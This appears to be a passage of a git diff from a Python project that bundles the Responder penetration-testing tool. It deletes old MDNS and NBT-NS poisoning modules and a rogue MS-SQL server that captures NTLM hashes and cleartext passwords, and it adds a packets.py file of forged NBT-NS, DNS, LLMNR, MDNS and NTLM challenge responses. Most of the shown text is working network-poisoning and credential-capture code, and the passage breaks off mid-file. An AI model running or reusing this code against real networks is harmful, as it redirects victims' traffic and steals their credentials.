- ("Type", "\x00\x01"),
- ("Class", "\x00\x01"),
- ("TTL", "\x00\x00\x00\x78"),##Poison for 2mn.
- ("IPLen", "\x00\x04"),
- ("IP", "\x00\x00\x00\x00"),
- ])
-
- def calculate(self):
- self.fields["IP"] = socket.inet_aton(OURIP)
- self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
-
-def Parse_MDNS_Name(data):
- data = data[12:]
- NameLen = struct.unpack('>B',data[0])[0]
- Name = data[1:1+NameLen]
- NameLen_ = struct.unpack('>B',data[1+NameLen])[0]
- Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
- return Name+'.'+Name_
-
-def Poisoned_MDNS_Name(data):
- data = data[12:]
- Name = data[:len(data)-5]
- return Name
-
-class MDNS(BaseRequestHandler):
-
- def handle(self):
-
- ResponderConfig = ConfigWatcher().config['Responder']
- RespondTo = ResponderConfig['RespondTo']
-
- MADDR = "224.0.0.251"
- MPORT = 5353
- data, soc = self.request
- if self.client_address[0] == "127.0.0.1":
- pass
- try:
- if args.analyze:
- if Parse_IPV6_Addr(data):
- log.info('{} is looking for: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
-
- if RespondToSpecificHost(RespondTo):
- if args.analyze == False:
- if RespondToIPScope(RespondTo, self.client_address[0]):
- if Parse_IPV6_Addr(data):
-
- log.info('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
- Name = Poisoned_MDNS_Name(data)
- MDns = MDNSAns(AnswerName = Name)
- MDns.calculate()
- soc.sendto(str(MDns),(MADDR,MPORT))
-
- if args.analyze == False and RespondToSpecificHost(RespondTo) == False:
- if Parse_IPV6_Addr(data):
- log.info('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
- Name = Poisoned_MDNS_Name(data)
- MDns = MDNSAns(AnswerName = Name)
- MDns.calculate()
- soc.sendto(str(MDns),(MADDR,MPORT))
- else:
- pass
- except Exception:
- raise
\ No newline at end of file
diff --git a/core/responder/mdns/__init__.py b/core/responder/mdns/__init__.py
deleted file mode 100644
index e69de29..0000000
diff --git a/core/responder/mssql/MSSQLPackets.py b/core/responder/mssql/MSSQLPackets.py
deleted file mode 100644
index 8e05eb1..0000000
--- a/core/responder/mssql/MSSQLPackets.py
+++ /dev/null
@@ -1,154 +0,0 @@
-#! /usr/bin/env python
-# NBT-NS/LLMNR Responder
-# Created by Laurent Gaffie
-# Copyright (C) 2014 Trustwave Holdings, Inc.
-#
-# This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see .
-import struct
-from core.responder.odict import OrderedDict
-from core.responder.packet import Packet
-
-#MS-SQL Pre-login packet class
-class MSSQLPreLoginAnswer(Packet):
- fields = OrderedDict([
- ("PacketType", "\x04"),
- ("Status", "\x01"),
- ("Len", "\x00\x25"),
- ("SPID", "\x00\x00"),
- ("PacketID", "\x01"),
- ("Window", "\x00"),
- ("TokenType", "\x00"),
- ("VersionOffset", "\x00\x15"),
- ("VersionLen", "\x00\x06"),
- ("TokenType1", "\x01"),
- ("EncryptionOffset", "\x00\x1b"),
- ("EncryptionLen", "\x00\x01"),
- ("TokenType2", "\x02"),
- ("InstOptOffset", "\x00\x1c"),
- ("InstOptLen", "\x00\x01"),
- ("TokenTypeThrdID", "\x03"),
- ("ThrdIDOffset", "\x00\x1d"),
- ("ThrdIDLen", "\x00\x00"),
- ("ThrdIDTerminator", "\xff"),
- ("VersionStr", "\x09\x00\x0f\xc3"),
- ("SubBuild", "\x00\x00"),
- ("EncryptionStr", "\x02"),
- ("InstOptStr", "\x00"),
- ])
-
- def calculate(self):
- CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])+str(self.fields["EncryptionStr"])+str(self.fields["InstOptStr"])
-
- VersionOffset = str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])
-
- EncryptionOffset = VersionOffset+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])
-
- InstOpOffset = EncryptionOffset+str(self.fields["EncryptionStr"])
-
- ThrdIDOffset = InstOpOffset+str(self.fields["InstOptStr"])
-
- self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket))
- #Version
- self.fields["VersionLen"] = struct.pack(">h",len(self.fields["VersionStr"]+self.fields["SubBuild"]))
- self.fields["VersionOffset"] = struct.pack(">h",len(VersionOffset))
- #Encryption
- self.fields["EncryptionLen"] = struct.pack(">h",len(self.fields["EncryptionStr"]))
- self.fields["EncryptionOffset"] = struct.pack(">h",len(EncryptionOffset))
- #InstOpt
- self.fields["InstOptLen"] = struct.pack(">h",len(self.fields["InstOptStr"]))
- self.fields["EncryptionOffset"] = struct.pack(">h",len(InstOpOffset))
- #ThrdIDOffset
- self.fields["ThrdIDOffset"] = struct.pack(">h",len(ThrdIDOffset))
-
-#MS-SQL NTLM Negotiate packet class
-class MSSQLNTLMChallengeAnswer(Packet):
- fields = OrderedDict([
- ("PacketType", "\x04"),
- ("Status", "\x01"),
- ("Len", "\x00\xc7"),
- ("SPID", "\x00\x00"),
- ("PacketID", "\x01"),
- ("Window", "\x00"),
- ("TokenType", "\xed"),
- ("SSPIBuffLen", "\xbc\x00"),
- ("Signature", "NTLMSSP"),
- ("SignatureNull", "\x00"),
- ("MessageType", "\x02\x00\x00\x00"),
- ("TargetNameLen", "\x06\x00"),
- ("TargetNameMaxLen", "\x06\x00"),
- ("TargetNameOffset", "\x38\x00\x00\x00"),
- ("NegoFlags", "\x05\x02\x89\xa2"),
- ("ServerChallenge", ""),
- ("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
- ("TargetInfoLen", "\x7e\x00"),
- ("TargetInfoMaxLen", "\x7e\x00"),
- ("TargetInfoOffset", "\x3e\x00\x00\x00"),
- ("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
- ("TargetNameStr", "SMB"),
- ("Av1", "\x02\x00"),#nbt name
- ("Av1Len", "\x06\x00"),
- ("Av1Str", "SMB"),
- ("Av2", "\x01\x00"),#Server name
- ("Av2Len", "\x14\x00"),
- ("Av2Str", "SMB-TOOLKIT"),
- ("Av3", "\x04\x00"),#Full Domain name
- ("Av3Len", "\x12\x00"),
- ("Av3Str", "smb.local"),
- ("Av4", "\x03\x00"),#Full machine domain name
- ("Av4Len", "\x28\x00"),
- ("Av4Str", "server2003.smb.local"),
- ("Av5", "\x05\x00"),#Domain Forest Name
- ("Av5Len", "\x12\x00"),
- ("Av5Str", "smb.local"),
- ("Av6", "\x00\x00"),#AvPairs Terminator
- ("Av6Len", "\x00\x00"),
- ])
-
- def calculate(self):
- ##First convert to uni
- self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le')
- self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le')
- self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le')
- self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le')
- self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le')
- self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le')
- ##Then calculate
-
- CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["SSPIBuffLen"])+str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
-
- CalculateSSPI = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
-
- CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])
-
- CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"])
-
- CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
-
- self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket))
- self.fields["SSPIBuffLen"] = struct.pack(" 60:
- DomainLen = struct.unpack('H',Data[2:4])[0]
- EncryptionValue = Data[PacketLen-7:PacketLen-6]
- if re.search("NTLMSSP",Data):
- return True
- else:
- return False
-
-#MS-SQL server class.
-class MSSQL(BaseRequestHandler):
-
- def handle(self):
- try:
- while True:
- data = self.request.recv(1024)
- self.request.settimeout(0.1)
- ##Pre-Login Message
- if data[0] == "\x12":
- buffer0 = str(MSSQLPreLoginAnswer())
- self.request.send(buffer0)
- data = self.request.recv(1024)
- ##NegoSSP
- if data[0] == "\x10":
- if re.search("NTLMSSP",data):
- t = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
- t.calculate()
- buffer1 = str(t)
- self.request.send(buffer1)
- data = self.request.recv(1024)
- else:
- ParseClearTextSQLPass(data,self.client_address[0])
- ##NegoSSP Auth
- if data[0] == "\x11":
- ParseSQLHash(data,self.client_address[0])
- except Exception:
- pass
- self.request.close()
diff --git a/core/responder/mssql/__init__.py b/core/responder/mssql/__init__.py
deleted file mode 100644
index e69de29..0000000
diff --git a/core/responder/nbtns/NBTNSpoisoner.py b/core/responder/nbtns/NBTNSpoisoner.py
deleted file mode 100644
index ec9fbaf..0000000
--- a/core/responder/nbtns/NBTNSpoisoner.py
+++ /dev/null
@@ -1,212 +0,0 @@
-#! /usr/bin/env python2.7
-
-import threading
-import socket
-import struct
-import logging
-import string
-
-from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
-from core.logger import logger
-from core.configwatcher import ConfigWatcher
-from core.responder.fingerprinter.Fingerprint import RunSmbFinger
-from core.responder.odict import OrderedDict
-from core.responder.packet import Packet
-from core.responder.common import *
-
-formatter = logging.Formatter("%(asctime)s [NBTNSpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
-log = logger().setup_logger("NBTNSpoisoner", formatter)
-
-class NBTNSpoisoner():
-
- def start(self, options, ourip):
-
- global OURIP; OURIP = ourip
- global args; args = options
-
- try:
- log.debug("OURIP => {}".format(ourip))
- server = ThreadingUDPServer(("0.0.0.0", 137), NB)
- t = threading.Thread(name="NBTNSpoisoner", target=server.serve_forever)
- t.setDaemon(True)
- t.start()
- except Exception as e:
- log.debug("Error starting on port 137: {}".format(e))
-
-class ThreadingUDPServer(ThreadingMixIn, UDPServer):
-
- allow_reuse_address = 1
-
- def server_bind(self):
- UDPServer.server_bind(self)
-
-#NBT-NS answer packet.
-class NBT_Ans(Packet):
- fields = OrderedDict([
- ("Tid", ""),
- ("Flags", "\x85\x00"),
- ("Question", "\x00\x00"),
- ("AnswerRRS", "\x00\x01"),
- ("AuthorityRRS", "\x00\x00"),
- ("AdditionalRRS", "\x00\x00"),
- ("NbtName", ""),
- ("Type", "\x00\x20"),
- ("Classy", "\x00\x01"),
- ("TTL", "\x00\x00\x00\xa5"),
- ("Len", "\x00\x06"),
- ("Flags1", "\x00\x00"),
- ("IP", "\x00\x00\x00\x00"),
- ])
-
- def calculate(self,data):
- self.fields["Tid"] = data[0:2]
- self.fields["NbtName"] = data[12:46]
- self.fields["IP"] = socket.inet_aton(OURIP)
-
-def NBT_NS_Role(data):
- Role = {
- "\x41\x41\x00":"Workstation/Redirector Service",
- "\x42\x4c\x00":"Domain Master Browser",
- "\x42\x4d\x00":"Domain controller service",
- "\x42\x4e\x00":"Local Master Browser",
- "\x42\x4f\x00":"Browser Election Service",
- "\x43\x41\x00":"File Server Service",
- "\x41\x42\x00":"Browser Service",
- }
-
- if data in Role:
- return Role[data]
- else:
- return "Service not known."
-
-# Define what are we answering to.
-def Validate_NBT_NS(data,Wredirect):
- if args.analyze:
- return False
-
- if NBT_NS_Role(data[43:46]) == "File Server Service.":
- return True
-
- if args.nbtns == True:
- if NBT_NS_Role(data[43:46]) == "Domain controller service. This name is a domain controller.":
- return True
-
- if Wredirect == True:
- if NBT_NS_Role(data[43:46]) == "Workstation/Redirector Service.":
- return True
-
- else:
- return False
-
-def Decode_Name(nbname):
- #From http://code.google.com/p/dpkt/ with author's permission.
- try:
- if len(nbname) != 32:
- return nbname
- l = []
- for i in range(0, 32, 2):
- l.append(chr(((ord(nbname[i]) - 0x41) << 4) |
- ((ord(nbname[i+1]) - 0x41) & 0xf)))
- return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
- except Exception, e:
- log.debug("Error parsing NetBIOS name: {}".format(e))
- return "Illegal NetBIOS name"
-
-# NBT_NS Server class.
-class NB(BaseRequestHandler):
-
- def handle(self):
-
- ResponderConfig = ConfigWatcher().config['Responder']
- DontRespondTo = ResponderConfig['DontRespondTo']
- DontRespondToName = ResponderConfig['DontRespondToName']
- RespondTo = ResponderConfig['RespondTo']
- RespondToName = ResponderConfig['RespondToName']
-
- data, socket = self.request
- Name = Decode_Name(data[13:45])
-
- if DontRespondToSpecificHost(DontRespondTo):
- if RespondToIPScope(DontRespondTo, self.client_address[0]):
- return None
-
- if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()):
- return None
-
- if args.analyze:
- if data[2:4] == "\x01\x10":
- if args.finger:
- try:
- Finger = RunSmbFinger((self.client_address[0],445))
- log.warning("{} is looking for: {} | Service requested: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,NBT_NS_Role(data[43:46]),Finger[0],Finger[1]))
- except Exception:
- log.warning("{} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46])))
- else:
- log.warning("{} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46])))
-
- if RespondToSpecificHost(RespondTo) and args.analyze == False:
- if RespondToIPScope(RespondTo, self.client_address[0]):
- if data[2:4] == "\x01\x10":
- if Validate_NBT_NS(data,args.wredir):
- if RespondToSpecificName(RespondToName) == False:
- buff = NBT_Ans()
- buff.calculate(data)
- for x in range(1):
- socket.sendto(str(buff), self.client_address)
- log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
- if args.finger:
- try:
- Finger = RunSmbFinger((self.client_address[0],445))
- log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
- except Exception:
- log.info('Fingerprint failed for host: %s'%(self.client_address[0]))
- pass
- if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
- buff = NBT_Ans()
- buff.calculate(data)
- for x in range(1):
- socket.sendto(str(buff), self.client_address)
- log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
- if args.finger:
- try:
- Finger = RunSmbFinger((self.client_address[0],445))
- log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
- except Exception:
- log.info('Fingerprint failed for host: %s'%(self.client_address[0]))
- pass
- else:
- pass
- else:
- pass
-
- else:
- if data[2:4] == "\x01\x10":
- if Validate_NBT_NS(data,args.wredir) and args.analyze == False:
- if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
- buff = NBT_Ans()
- buff.calculate(data)
- for x in range(1):
- socket.sendto(str(buff), self.client_address)
- log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
- if args.finger:
- try:
- Finger = RunSmbFinger((self.client_address[0],445))
- log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
- except Exception:
- log.info('Fingerprint failed for host: %s'%(self.client_address[0]))
- pass
- if RespondToSpecificName(RespondToName) == False:
- buff = NBT_Ans()
- buff.calculate(data)
- for x in range(1):
- socket.sendto(str(buff), self.client_address)
- log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
- if args.finger:
- try:
- Finger = RunSmbFinger((self.client_address[0],445))
- log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
- except Exception:
- log.info('Fingerprint failed for host: %s'%(self.client_address[0]))
- pass
- else:
- pass
\ No newline at end of file
diff --git a/core/responder/nbtns/__init__.py b/core/responder/nbtns/__init__.py
deleted file mode 100644
index e69de29..0000000
diff --git a/core/responder/odict.py b/core/responder/odict.py
index 89a9172..56abb70 100644
--- a/core/responder/odict.py
+++ b/core/responder/odict.py
@@ -1,6 +1,6 @@
-# NBT-NS/LLMNR Responder
-# Created by Laurent Gaffie
-# Copyright (C) 2014 Trustwave Holdings, Inc.
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
@@ -11,12 +11,9 @@
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
-#
+#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see .
-
-
-#Packet class handling all packet generation (see odict.py).
from UserDict import DictMixin
class OrderedDict(dict, DictMixin):
diff --git a/core/responder/packet.py b/core/responder/packet.py
deleted file mode 100644
index ffdf157..0000000
--- a/core/responder/packet.py
+++ /dev/null
@@ -1,34 +0,0 @@
-# NBT-NS/LLMNR Responder
-# Created by Laurent Gaffie
-# Copyright (C) 2014 Trustwave Holdings, Inc.
-#
-# This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see .
-
-
-#Packet class handling all packet generation (see odict.py).
-from odict import OrderedDict
-
-class Packet():
- fields = OrderedDict([
- ("data", ""),
- ])
- def __init__(self, **kw):
- self.fields = OrderedDict(self.__class__.fields)
- for k,v in kw.items():
- if callable(v):
- self.fields[k] = v(self.fields[k])
- else:
- self.fields[k] = v
- def __str__(self):
- return "".join(map(str, self.fields.values()))
diff --git a/core/responder/packets.py b/core/responder/packets.py
new file mode 100644
index 0000000..a11e504
--- /dev/null
+++ b/core/responder/packets.py
@@ -0,0 +1,1277 @@
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see .
+import struct
+import settings
+
+from base64 import b64decode, b64encode
+from odict import OrderedDict
+
+# Packet class handling all packet generation (see odict.py).
+class Packet():
+ fields = OrderedDict([
+ ("data", ""),
+ ])
+ def __init__(self, **kw):
+ self.fields = OrderedDict(self.__class__.fields)
+ for k,v in kw.items():
+ if callable(v):
+ self.fields[k] = v(self.fields[k])
+ else:
+ self.fields[k] = v
+ def __str__(self):
+ return "".join(map(str, self.fields.values()))
+
+# NBT Answer Packet
+class NBT_Ans(Packet):
+ fields = OrderedDict([
+ ("Tid", ""),
+ ("Flags", "\x85\x00"),
+ ("Question", "\x00\x00"),
+ ("AnswerRRS", "\x00\x01"),
+ ("AuthorityRRS", "\x00\x00"),
+ ("AdditionalRRS", "\x00\x00"),
+ ("NbtName", ""),
+ ("Type", "\x00\x20"),
+ ("Classy", "\x00\x01"),
+ ("TTL", "\x00\x00\x00\xa5"),
+ ("Len", "\x00\x06"),
+ ("Flags1", "\x00\x00"),
+ ("IP", "\x00\x00\x00\x00"),
+ ])
+
+ def calculate(self,data):
+ self.fields["Tid"] = data[0:2]
+ self.fields["NbtName"] = data[12:46]
+ self.fields["IP"] = settings.Config.IP_aton
+
+# DNS Answer Packet
+class DNS_Ans(Packet):
+ fields = OrderedDict([
+ ("Tid", ""),
+ ("Flags", "\x80\x10"),
+ ("Question", "\x00\x01"),
+ ("AnswerRRS", "\x00\x01"),
+ ("AuthorityRRS", "\x00\x00"),
+ ("AdditionalRRS", "\x00\x00"),
+ ("QuestionName", ""),
+ ("QuestionNameNull", "\x00"),
+ ("Type", "\x00\x01"),
+ ("Class", "\x00\x01"),
+ ("AnswerPointer", "\xc0\x0c"),
+ ("Type1", "\x00\x01"),
+ ("Class1", "\x00\x01"),
+ ("TTL", "\x00\x00\x00\x1e"), #30 secs, dont mess with their cache for too long..
+ ("IPLen", "\x00\x04"),
+ ("IP", "\x00\x00\x00\x00"),
+ ])
+
+ def calculate(self,data):
+ self.fields["Tid"] = data[0:2]
+ self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
+ self.fields["IP"] = settings.Config.IP_aton
+ self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
+
+# LLMNR Answer Packet
+class LLMNR_Ans(Packet):
+ fields = OrderedDict([
+ ("Tid", ""),
+ ("Flags", "\x80\x00"),
+ ("Question", "\x00\x01"),
+ ("AnswerRRS", "\x00\x01"),
+ ("AuthorityRRS", "\x00\x00"),
+ ("AdditionalRRS", "\x00\x00"),
+ ("QuestionNameLen", "\x09"),
+ ("QuestionName", ""),
+ ("QuestionNameNull", "\x00"),
+ ("Type", "\x00\x01"),
+ ("Class", "\x00\x01"),
+ ("AnswerNameLen", "\x09"),
+ ("AnswerName", ""),
+ ("AnswerNameNull", "\x00"),
+ ("Type1", "\x00\x01"),
+ ("Class1", "\x00\x01"),
+ ("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec.
+ ("IPLen", "\x00\x04"),
+ ("IP", "\x00\x00\x00\x00"),
+ ])
+
+ def calculate(self):
+ self.fields["IP"] = settings.Config.IP_aton
+ self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
+ self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1]
+ self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1]
+
+# MDNS Answer Packet
+class MDNS_Ans(Packet):
+ fields = OrderedDict([
+ ("Tid", "\x00\x00"),
+ ("Flags", "\x84\x00"),
+ ("Question", "\x00\x00"),
+ ("AnswerRRS", "\x00\x01"),
+ ("AuthorityRRS", "\x00\x00"),
+ ("AdditionalRRS", "\x00\x00"),
+ ("AnswerName", ""),
+ ("AnswerNameNull", "\x00"),
+ ("Type", "\x00\x01"),
+ ("Class", "\x00\x01"),
+ ("TTL", "\x00\x00\x00\x78"),##Poison for 2mn.
+ ("IPLen", "\x00\x04"),
+ ("IP", "\x00\x00\x00\x00"),
+ ])
+
+ def calculate(self):
+ self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
+
+##### HTTP Packets #####
+class NTLM_Challenge(Packet):
+ fields = OrderedDict([
+ ("Signature", "NTLMSSP"),
+ ("SignatureNull", "\x00"),
+ ("MessageType", "\x02\x00\x00\x00"),
+ ("TargetNameLen", "\x06\x00"),
+ ("TargetNameMaxLen", "\x06\x00"),
+ ("TargetNameOffset", "\x38\x00\x00\x00"),
+ ("NegoFlags", "\x05\x02\x89\xa2"),
+ ("ServerChallenge", ""),
+ ("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
+ ("TargetInfoLen", "\x7e\x00"),
+ ("TargetInfoMaxLen", "\x7e\x00"),
+ ("TargetInfoOffset", "\x3e\x00\x00\x00"),
+ ("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
+ ("TargetNameStr", "SMB"),
+ ("Av1", "\x02\x00"),#nbt name
+ ("Av1Len", "\x06\x00"),
+ ("Av1Str", "SMB"),
+ ("Av2", "\x01\x00"),#Server name
+ ("Av2Len", "\x14\x00"),
+ ("Av2Str", "SMB-TOOLKIT"),
+ ("Av3", "\x04\x00"),#Full Domain name
+ ("Av3Len", "\x12\x00"),
+ ("Av3Str", "smb.local"),
+ ("Av4", "\x03\x00"),#Full machine domain name
+ ("Av4Len", "\x28\x00"),
+ ("Av4Str", "server2003.smb.local"),
+ ("Av5", "\x05\x00"),#Domain Forest Name
+ ("Av5Len", "\x12\x00"),
+ ("Av5Str", "smb.local"),
+ ("Av6", "\x00\x00"),#AvPairs Terminator
+ ("Av6Len", "\x00\x00"),
+ ])
+
+ def calculate(self):
+ # First convert to unicode
+ self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le')
+ self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le')
+ self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le')
+ self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le')
+ self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le')
+ self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le')
+
+ # Then calculate
+ CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])
+ CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"])
+ CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
+
+ # Target Name Offsets
+ self.fields["TargetNameOffset"] = struct.pack("\n\n\n\n
\n\n